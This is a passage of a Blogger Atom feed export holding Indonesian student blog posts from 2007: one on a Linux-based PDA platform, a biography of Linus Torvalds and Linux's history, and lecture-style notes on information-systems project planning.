ini juga dapat menjalankan aplikasi Palm dan Linux.&lt;/p&gt; &lt;p&gt;Mungkin latar belakang dibuatnya PDA Linux ini untuk menyaingi WM(Windows Mobile) dan iPhone(yang ber OS Macintosh), ada banyak keuntungan mengembangkan PDA Linux ini terutama untuk menggaet para pengembang lama aplikasi PalmOS dan komunitas-komunitas Linux serta pecinta Linux/OpenSource. Dalam Linux kembangan access-company ini ada beberapa aplikasi yang di &lt;em&gt;patent&lt;/em&gt;kan dan bersifat proprietary tapi yang ditonjolkan oleh OS Linux ini adalah opensource-nya sebagai daya tarik tersendiri ketimbang OS PDA lainnya &lt;img src="http://serang.linux.or.id/wp-includes/images/smilies/icon_smile.gif" alt=")" class="wp-smiley" /&gt;&lt;/p&gt; &lt;p&gt;Dan jangan lupa compiler GCC dapat dipakai untuk mengembangkan aplikasi karena hampir 100% aplikasi PDA Linux dan PalmOS dibangun dengan bahasa C. Dan untuk framework aplikasinya access-company hanya memanfaakan GTK yang benar-benar &lt;em&gt;pure &lt;/em&gt;opensource, tapi jangan lupa bahwa ini akan menjadi tantangan bagi TrollTech untuk membuat framework QTopia(versi QT Embedded) yang mampu dimanfaatkan pada PDA Linux.&lt;/p&gt; &lt;p&gt;Nah untuk info lebih lengkap tentang PDA Linux ini bisa dicek di http://www.access-company.com/products/linux/alp.html&lt;/p&gt; &lt;p&gt;Beberapa Cuplikan Screenshotnya:&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.access-company.com/img/prod/linux/ALP_sshots_tugboat.jpg" alt="Pelem" align="right" /&gt; &lt;img src="http://www.access-company.com/img/prod/linux/ALP_sshots_launcher.jpg" alt="Menu" align="left" /&gt;&lt;/p&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-3962234974675678020?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/3962234974675678020/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=3962234974675678020' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/3962234974675678020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/3962234974675678020'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/sistem-operasi-bagian-3.html' title='SISTEM OPERASI ( Bagian 3 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-2598234290257930397</id><published>2007-12-17T17:26:00.001-08:00</published><updated>2007-12-17T17:34:04.169-08:00</updated><title type='text'>SISTEM INFORMASI ( Bagian 2 )</title><content type='html'>&lt;h2 class="posttitle"&gt;&lt;a tip="Taut Tetap ke Linus Torvalds, Siapa Sih Sampean ?" href="http://teriyakiboz.wordpress.com/2007/11/25/linus-torvalds-siapa-sih-sampean/" rel="bookmark"&gt;Linus Torvalds, Siapa Sih Sampean ?&lt;/a&gt;&lt;/h2&gt;         &lt;p class="postmeta"&gt;      Nopember 25, 2007        · Disimpan dalam &lt;a tip="Lihat seluruh tulisan dalam sistem operasi" href="http://id.wordpress.com/tag/sistem-operasi/" rel="category tag"&gt;sistem operasi&lt;/a&gt;            &lt;/p&gt;         &lt;div class="postentry"&gt;          &lt;div class="snap_preview"&gt; &lt;p class="snap_preview"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;SEJARAH selalu mencatat, orang-orang besar mencapai kesuksesannya dengan bekerja keras tanpa mengenal putus asa dan mereka menikmati pekerjaan tersebut. Sebut saja Linus Torvalds, seorang genius yang semenjak kecil akrab dengan komputer ini, berhasil menciptakan sistem operasi yang kita kenal dengan nama &lt;em&gt;Linux&lt;/em&gt;, sebuah sistem operasi masa depan yang katanya bakal menggoyang imperium &lt;em&gt;Microsoft&lt;/em&gt; dengan &lt;em&gt;Windows&lt;/em&gt;-nya. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Sistem operasi ciptaan Linus ini menarik banyak perhatian orang di awal milenium 21. Yang menarik dari Linux adalah sifatnya yang &lt;em&gt;free&lt;/em&gt; dan &lt;em&gt;open source &lt;/em&gt;dalam artian untuk memilikinya kita tidak perlu membayar lisensi, cukup hanya membayar biaya distribusinya.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;&lt;em&gt;Open source&lt;/em&gt; berarti (kode) sumber yang terbuka. Sumber yang dimaksud di sini adalah &lt;em&gt;source code &lt;/em&gt;(kode sumber) dari sebuah &lt;em&gt;software &lt;/em&gt;(perangkat lunak), baik itu berupa kode-kode bahasa pemrograman maupun dokumentasi dari &lt;em&gt;software &lt;/em&gt;tersebut. Karena sifatnya yang &lt;em&gt;open source&lt;/em&gt; itulah, Linux dapat dikembangkan oleh banyak &lt;em&gt;programmer &lt;/em&gt;di dunia sehingga semakin hari, kualitasnya semakin baik. Berbeda dengan &lt;em&gt;Windows&lt;/em&gt; yang memang ditujukan untuk komersial sehingga &lt;em&gt;source code-&lt;/em&gt;nya tidak diberikan. Keputusannya untuk menggratiskan dan membebaskan &lt;em&gt;source code linux &lt;/em&gt;membuat Linus menjadi sosok pahlawan di dunia &lt;em&gt;software &lt;/em&gt;yang saat ini sudah sangat bernuansa kapitalisme dan bisnis semata.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="text-align: center;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://dedenthea.files.wordpress.com/2007/02/linus.JPG" alt="linus.JPG" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;/span&gt;TOKOH genius ini dilahirkan di Helsinki, Finlandia, pada tanggal 28 Desember 1969. Dalam usianya yang ke-10, Linus sudah mulai memprogram komputer, dengan menggunakan komputer milik kakeknya, &lt;em&gt;Commodore VIC-20. &lt;/em&gt;Pada tahun 1988 Linus diterima menjadi mahasiswa di Universitas Helsinki, Finlandia. Pada tahun 1991, Linus membeli PC (&lt;em&gt;Personal Computer&lt;/em&gt;) pertamanya yang saat itu masih menggunakan MS-DOS (&lt;em&gt;Disk Operation System&lt;/em&gt;, sistem operasi buatan &lt;em&gt;Microsoft&lt;/em&gt;). &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;&lt;strong&gt;&lt;em&gt;Berikut ini adalah email asli hasil capture dari maillis atas kebenaran peluncuran awal Linux Versi 1.0 (Red. Deden)&lt;/em&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;" align="center"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt; &lt;img src="http://dedenthea.files.wordpress.com/2007/02/email-linux.JPG" alt="email-linux.JPG" height="368" width="487" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Namun Linus lebih cenderung untuk menggunakan sistem operasi UNIX, seperti yang digunakan pada komputer milik universitasnya. Sistem operasi UNIX merupakan sistem operasi yang banyak digunakan dalam jaringan komputer karena sifatnya yang independen terhadap berbagai tipe mesin. Akhirnya, dia memutuskan untuk menciptakan versi yang bisa digunakan untuk PC dari UNIX. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Kerja keras selama berbulan-bulan menghasilkan cikal-bakal dari sistem operasi yang dikenal sebagai &lt;em&gt;Linux&lt;/em&gt;, yang kelak delapan tahun kemudian dikembangkan menjadi apa yang dikatakan oleh banyak pengamat sebagai ancaman bagi raksasa &lt;em&gt;Microsoft &lt;/em&gt;yang sangat dikenal dengan sistem operasi Windowsnya.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Linux sangat mirip dengan sistem UNIX, hal ini karena kompatibilitas dengan UNIX merupakan tujuan utama desain dari projek &lt;em&gt;Linux. &lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Perkembangan &lt;em&gt;Linux &lt;/em&gt;dimulai pada tahun 1991, ketika Linus Torvalds yang masih mahasiswa di Finlandia menulis Linux, untuk prosesor 80386, prosesor 32-bit pertama dalam kumpulan CPU intel yang cocok untuk PC. Awalnya Linus membuat Linux sendiri sebagai hobi, karena ia ingin menjalankan sistem operasi semacam UNIX dalam komputer 386-nya (angka 386 merupakan nomor seri mikroprosesor intel jauh sebelum Pentium diproduksi). Dari hasil kerjanya lahirlah Linux versi 0.01, yang sebenarnya masih belum bisa disebut sebuah sistem operasi. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Setelah mengalami perbaikan, jadilah &lt;em&gt;Linux &lt;/em&gt;versi 0.02, yang notabene adalah &lt;em&gt;Linux &lt;/em&gt;resmi versi pertama yang diumumkan pada publik. Linus mengumumkan &lt;em&gt;source code Linux&lt;/em&gt; pada tanggal 5 Oktober 1991. Dia merilis &lt;em&gt;source code&lt;/em&gt;-nya, yang berarti semua orang yang memiliki pengetahuan tentang pemograman komputer dapat memodifikasi &lt;em&gt;Linux &lt;/em&gt;untuk disesuaikan dengan tujuan mereka masing-masing. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;&lt;em&gt;Linux &lt;/em&gt;segera memiliki banyak pendukung yang antusias karena mereka dapat memiliki akses ke &lt;em&gt;source code-&lt;/em&gt;nya, dan dapat menolong Linus untuk memperbaiki dan menyempurnakan &lt;em&gt;software &lt;/em&gt;tersebut.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Projek Linux ini mendapatkan perhatian dari para &lt;em&gt;programer&lt;/em&gt; di seluruh dunia yang kemudian turut berpartisipasi membangun &lt;em&gt;Linux. &lt;/em&gt;Perkembangan &lt;em&gt;Linux &lt;/em&gt;berlangsung dengan sangat pesat hingga saat ini.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Ada perbedaan yang cukup kentara antara sistem operasi &lt;em&gt;Linux &lt;/em&gt;dan &lt;em&gt;Windows. &lt;/em&gt;Mengoperasikan &lt;em&gt;Linux &lt;/em&gt;membutuhkan kecerdasan teknik yang cukup, sebab mengoperasikannya tidak semudah menggunakan sistem operasi yang lebih populer, seperti &lt;em&gt;Windows, Mac &lt;/em&gt;milik &lt;em&gt;Apple Computer&lt;/em&gt;, atau OS/2 milik IBM. Sehingga pernah salah seorang dosen di Departemen Elektro ITB mengatakan, mahasiswa ITB seharusnya menggunakan Linux karena lebih membutuhkan kecerdasan dalam pengoperasiannya yang mana hal itu akan mengasah logika.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Kesuksesan &lt;em&gt;Linux &lt;/em&gt;membuat beberapa perusahaan &lt;em&gt;software &lt;/em&gt;raksasa ramai-ramai mengumumkan untuk hijrah dan ikut men&lt;em&gt;support Linux &lt;/em&gt;seperti &lt;em&gt;Netscape Communication, Corel, Intel &lt;/em&gt;dan &lt;em&gt;Oracle.&lt;/em&gt; Akibatnya muncul stigma telah terjadi perang bintang antara &lt;em&gt;Linux &lt;/em&gt;dan &lt;em&gt;Windows &lt;/em&gt;serta Linus sebagai pencipta &lt;em&gt;Linux &lt;/em&gt;digambarkan sebagai David yang maju melawan raksasa Bill ‘Goliath’ Gates, pendiri dan CEO &lt;em&gt;Microsoft&lt;/em&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Masalah utama yang dihadapi &lt;em&gt;Linux &lt;/em&gt;dahulu adalah &lt;em&gt;interface &lt;/em&gt;yang berupa teks (&lt;em&gt;text based interface&lt;/em&gt;) sehingga membuat orang awam tidak tertarik menggunakan &lt;em&gt;Linux&lt;/em&gt;, karena harus mempelajari terlebih dahulu untuk dapat mengerti cara penggunaannya. Tetapi keadaan ini sudah mulai berubah dengan kehadiran KDE dan GNOME. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Keduanya memiliki tampilan desktop yang menarik sehingga mengubah persepsi dunia tentang &lt;em&gt;Linux. &lt;/em&gt;Apalagi saat ini sudah banyak distribusi &lt;em&gt;Linux &lt;/em&gt;yang memiliki tampilan seperti &lt;em&gt;Windows &lt;/em&gt;(&lt;em&gt;Xwindows&lt;/em&gt;) seperti &lt;em&gt;Red Hat, Debian, Mandrake &lt;/em&gt;dan &lt;em&gt;Slackware &lt;/em&gt;yang memiliki ciri khasnya masing-masing. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Selain itu &lt;em&gt;Linux &lt;/em&gt;juga diadaptasi ke banyak bahasa seperti misalnya &lt;em&gt;Linux Trustix Merdeka &lt;/em&gt;di Indonesia, &lt;em&gt;Vine Linux &lt;/em&gt;di Jepang, &lt;em&gt;RedFlag Linux &lt;/em&gt;di Cina, dll.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;&lt;em&gt;Linux &lt;/em&gt;di negara-negara berkembang mengalami kemajuan yang sangat pesat. Harga perangkat lunak (misalkan sebuah sistem operasi) bisa mencapai 100 dolar AS atau lebih. Di negara yang rata-rata penghasilan per tahun adalah 200-300 dolar AS, nilai 100 dolar AS sangatlah besar. Dengan adanya &lt;em&gt;Linux&lt;/em&gt;, semua berubah. Karena &lt;em&gt;Linux &lt;/em&gt;dapat digunakan pada komputer yang sehingga dia menjadi alternatif cocok bagi komputer beranggaran kecil. Di negara-negara Asia, Afrika, dan Amerika Latin, &lt;em&gt;Linux &lt;/em&gt;adalah jalan keluar bagi penggemar komputer.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Pemanfaatan &lt;em&gt;Linux &lt;/em&gt;juga sudah diterapkan pada superkomputer seperti &lt;em&gt;The Tetragrid, &lt;/em&gt;sebuah megakomputer dari Amerika yang dapat menghitung lebih dari 13 triliun kalkulasi per detik atau tepatnya 13,6 TeraFLOPS (&lt;em&gt;FLoating Operations Per Second&lt;/em&gt;). &lt;em&gt;Tetragrid &lt;/em&gt;dapat dimanfaatkan untuk mencari solusi dari masalah matematika kompleks dan simulasi, dari astronomi dan riset kanker hingga ramalan cuaca. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Lalu &lt;em&gt;Evolocity,&lt;/em&gt; juga dari Amerika, dapat berjalan dengan kecepatan maksimum 9.2 TeraFLOPS menjadikannya sebagai salah satu dari lima superkomputer tercepat di dunia.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Jika melihat ke depan, kemungkinan &lt;em&gt;Linux &lt;/em&gt;akan menjadi sistem operasi yang paling dominan bukanlah suatu hal yang mustahil. Karena semua kelebihan yang dimilikinya, setiap hari semakin banyak orang di dunia yang mulai berpaling ke &lt;em&gt;Linux &lt;/em&gt;dan meninggalkan &lt;em&gt;Microsoft&lt;/em&gt;. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Masih teringat di benak penulis ketika undang-undang tentang Hak Kekayaan Intelektual diberlakukan beberapa waktu lalu, perusahaan tempat penulis melakukan kerja praktik, dalam dua hari segera mengganti sistem operasi &lt;em&gt;Windows&lt;/em&gt; yang kebanyakan bajakan dengan sistem &lt;em&gt;Linux&lt;/em&gt;. Karena membeli &lt;em&gt;software Windows &lt;/em&gt;yang resmi jauh lebih mahal dibanding menggunakan &lt;em&gt;Linux&lt;/em&gt;. &lt;em&gt;Toh&lt;/em&gt; kinerja &lt;em&gt;Linux&lt;/em&gt; juga tidak kalah dengan &lt;em&gt;Windows&lt;/em&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Satu hal lagi yang menarik dari &lt;em&gt;Linux&lt;/em&gt; adalah logonya yang berupa pinguin yang bernama ”Tux”. Logo yang lucu ini memiliki sejarah yang unik. Awalnya, tidak ada logo yang dipilih untuk Linux, namun pada waktu Linus berlibur di daerah Selatan. Dia bertemu seekor pinguin yang menggigit jarinya. Kejadian yang lucu ini merupakan awal terpilihnya pinguin sebagai logo &lt;em&gt;Linux&lt;/em&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Tux adalah hasil karya seniman Larry Ewing pada waktu para pengembang merasa &lt;em&gt;Linux&lt;/em&gt; sudah memerlukan sebuah logo (1996), dan nama yang terpilih adalah dari usulan James Hughes yaitu “(T)orvalds (U)ni(X) — TUX!”. Lengkaplah sudah logo dari &lt;em&gt;Linux&lt;/em&gt;, yaitu seekor pinguin bernama Tux.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;Hingga sekarang logo &lt;em&gt;Linux &lt;/em&gt;yaitu Tux sudah terkenal ke berbagai penjuru dunia. Orang lebih mudah mengenal segala produk yang berbau &lt;em&gt;Linux&lt;/em&gt; hanya dengan melihat logo yang unik nan lucu hasil kerja sama seluruh komunitas &lt;em&gt;Linux &lt;/em&gt;di seluruh dunia. &lt;em&gt;Nah,&lt;/em&gt; jika Anda membutuhkan sistem operasi yang gratis dan memiliki kemampuan setara &lt;em&gt;Windows, Linux &lt;/em&gt;adalah pilihan yang tepat. Kehadiran Linus Torvalds dalam kancah era informatika ini akan menjadi sosok yang dapat disetarakan dengan para ilmuwan komputer terdahulu seperti Von Neumann, Berners Lee, dll.***&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Trebuchet MS, sans-serif;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;/div&gt;        &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-2598234290257930397?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/2598234290257930397/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=2598234290257930397' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/2598234290257930397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/2598234290257930397'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/sistem-informasi-bagian-2.html' title='SISTEM INFORMASI ( Bagian 2 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-4461734285073879661</id><published>2007-12-17T17:25:00.000-08:00</published><updated>2007-12-17T17:26:39.688-08:00</updated><title type='text'>Sistem Informasi ( Bagian 1 )</title><content type='html'>&lt;h2 class="posttitle"&gt;&lt;a href="http://teriyakiboz.wordpress.com/2007/11/25/kebijakan-dan-perencanaan-proyek-sistem-informasi/" rel="bookmark" title="Taut Tetap ke Kebijakan dan Perencanaan Proyek Sistem Informasi"&gt;Sistem Informasi&lt;/a&gt;&lt;/h2&gt;         &lt;p class="postmeta"&gt;      Nopember 25, 2007        · Disimpan dalam &lt;a href="http://id.wordpress.com/tag/sistem-operasi/" title="Lihat seluruh tulisan dalam sistem operasi" rel="category tag"&gt;sistem operasi&lt;/a&gt;            &lt;/p&gt;         &lt;div class="postentry"&gt;          &lt;div class="snap_preview"&gt;&lt;p class="postinfo"&gt; Posted on &lt;span class="postdate"&gt;November 21, 2007&lt;/span&gt; by jauari88&lt;/p&gt; &lt;p class="snap_preview"&gt;&lt;a href="http://jauari88.files.wordpress.com/2007/11/images8.jpeg" title="perusahaan"&gt;&lt;img src="http://jauari88.files.wordpress.com/2007/11/images8.thumbnail.jpeg" alt="perusahaan" align="left" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Suatu sistem informasi dapat dikembangkan karena adanya kebijakan&lt;br /&gt;dan perencanaan telebih dahulu. Tanpa adanya perencanaan sistem yang&lt;br /&gt;baik, pengembangan sistem tidak akan dapat berjalan sesuai dengan yang&lt;br /&gt;diharapkan. Tanpa adanya kebijakan pengembangan sistem oleh manajemen&lt;br /&gt;puncak, maka pengembangan sistem tidak akan mendapat dukungan dari&lt;br /&gt;manajemen puncak tersebut.&lt;br /&gt;3.2.1. Kebijakan Sistem&lt;br /&gt;Kebijakan untuk mengembangkan sistem informasi dilakukan oleh&lt;br /&gt;manajemen puncak karena manajemen menginginkan untuk meraih&lt;br /&gt;kesempatan-kesempatan yang ada yang tidak dapat diraih oleh sistem yang&lt;br /&gt;lama atau sistem lama mempunyai kelemahan (masalah)&lt;/p&gt; &lt;p align="left"&gt; 3.2.2. Perencanaan Sistem&lt;a href="http://jauari88.files.wordpress.com/2007/11/images8.jpeg" title="perusahaan"&gt;&lt;img src="http://www.permata-solution.com/Product_03_RS_files/image001.jpg" height="237" width="181" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt; Perencanaan sistem menyangkut estimasi sumberdaya (kebutuhan-&lt;br /&gt;kebutuhan fisik dan tenaga kerja) dan biaya. Perencanaan sistem terdiri dari :&lt;br /&gt;perencanaan jangka pendek (periode 1–2 tahun) dan jangka panjang&lt;br /&gt;(periode sampai 5 tahun).&lt;br /&gt;Perencanaan sistem biasanya ditangani oleh staf perencanaan sistem,&lt;br /&gt;departemen pengembangan sistem atau depertemen pengolahan data.&lt;br /&gt;3.2.3. Proses Perencanaan Sistem&lt;br /&gt;Proses perencanaan sistem dapat dikelompokkan dalam tiga proses&lt;br /&gt;utama, yaitu :&lt;/p&gt; &lt;p align="left"&gt;&lt;img src="http://www.lintasarta.net/Portals/0/solusi/adv%205.jpg" align="right" height="240" width="312" /&gt;&lt;/p&gt; &lt;p&gt; 1. Merencanakan proyek-proyek sistem&lt;br /&gt;Tahapan proses perencanaan sistem yaitu :&lt;br /&gt;Mengkaji tujuan, perencanaan strategi dan taktik perusahaan&lt;br /&gt;Mengidentifikasi proyek-proyek sistem&lt;br /&gt;Menetapkan sasaran proyek-proyek sistem&lt;br /&gt;Menetapkan kendala proyek-proyek sistem (mis. Batasan biaya, waktu,&lt;br /&gt;umur ekonomis, peraturan yang berlaku)&lt;br /&gt;Menetukan prioritas proyek-proyek sistem&lt;br /&gt;Membuat laporan perencanaan sistem&lt;br /&gt;Meminta persetujuan manajemen&lt;br /&gt;1. Mempersiapkan proyek-proyek sistem yang akan dikembangkan&lt;br /&gt;Persiapan ini meliputi :&lt;br /&gt;Menunjuk team analis (dapat berasal dari departemen pengembangan&lt;br /&gt;yang ada atau dari luar perusahaan (konsultan)&lt;br /&gt;Mengumumkan proyek pengembangan sistem&lt;br /&gt;1. Mendefinisikan proyek-proyek sistem yang dikembangkan&lt;br /&gt;Melakukan studi untuk mencari alternatif pemecahan terbaik yang paling&lt;br /&gt;layak untuk dikembangkan. Tahapan yang dilakukan yaitu :&lt;br /&gt;Mengidentifikasi kembali ruang lingkup dan sasaran proyek sistem&lt;br /&gt;Melakukan studi kelayakan&lt;br /&gt;Menilai kelayakan proyek sistem&lt;br /&gt;Membuat usulan proyek sistem&lt;br /&gt;Meminta persetujuan manajemen&lt;br /&gt;III_Manajemen Proyek Sistem Informasi&lt;br /&gt;3.3. Perkiraan Proyek Sistem Informasi&lt;br /&gt;Sekarang biaya merupakan elemen yang paling penting dan mahal dalam&lt;br /&gt;pengembangan sistem berbasis komputer. Perkiraan biaya yang salah atau kurang tepat&lt;br /&gt;dapat mengurangi keuntungan atau malah kerugian. Perkiraan biaya sistem informasi&lt;br /&gt;dan usaha tidak dapat dihitung dengan tepat, karena banyak variabel (manusia, teknikal,&lt;br /&gt;lingkungan) yang mempengaruhinya.&lt;br /&gt;Untuk mencapai perkiraan biaya dan usah yang dapat diandalkan, digunakan&lt;br /&gt;pilihan sebagai berikut :&lt;br /&gt;Memperkirakan waktu yang paling lama dari pengerjaan proyek&lt;br /&gt;Perkiraan berdasarkan pada proyek yang sama&lt;br /&gt;Menggunakan teknik dekomposis&lt;br /&gt;Menggunakan satu atau lebih model empiris&lt;br /&gt;Memperkirakan waktu untuk menyelesaikan setiap kegiatan merupakan bagian&lt;br /&gt;yang paling sulit, untuk itu butuh pengalaman dalam memperkirakan waktu yang&lt;br /&gt;diperlukan. Penjadwalan tugas-tugas (kegiatan) dapat menggunakan :&lt;br /&gt;1. Grafik Gantt&lt;br /&gt;Merupakan suatu grafik dimana ditampilkan kotak-kotak yang mewakili setiap tugas&lt;br /&gt;(kegiatan) dan panjang masing-masing setiap kotak menunjukkan panjang relatif&lt;br /&gt;tugas-tugas yang dikerjakan.&lt;br /&gt;2. Diagram PERT (Program Evaluation and Review Techniques)&lt;br /&gt;Suatu program (proyek) diwakili dengan jaringan simpul dan tanda panah yang&lt;br /&gt;kemudian dievaluasi untuk menentukan kegiatan-kegiatan terpenting, meningkatkan&lt;br /&gt;jadwal yang diperlukan dan merevisi kemajuan-kemajuan saat proyek telah&lt;br /&gt;dijalankan. Diagram PERT lebih baik dari Gantt, karena :&lt;br /&gt;- Mudah mengidentifikasi tingkat prioritas&lt;br /&gt;- Mudah mengidentifikasi jalur kritis dan kegiatan-kegiatan kritis&lt;br /&gt;- Mudah menentukan waktu kendur&lt;br /&gt;3. Penjadwalan proyek berbasis komputer&lt;br /&gt;menggunakan PC untuk membuat jadwal proyek lebih praktis dan menguntungkan.&lt;br /&gt;Contoh program penjadwalan yaitu Ms Project, Symantec’s Timeline dan Computer&lt;br /&gt;Associates’ CA-Super Project.&lt;br /&gt;III_Manajemen Proyek Sistem Informasi&lt;br /&gt;5Page 6&lt;/p&gt; &lt;p&gt;Proses pengembangan sistem informasi (PL) dikembangkan oleh pelaku-pelaku&lt;br /&gt;yang dapat dikatagorikan dalam 5 kelompok :&lt;br /&gt;1. Manajer senior, yang bertugas mendefinisikan permasalahan-permasalahan bisnis&lt;br /&gt;dan sangat berpengaruh 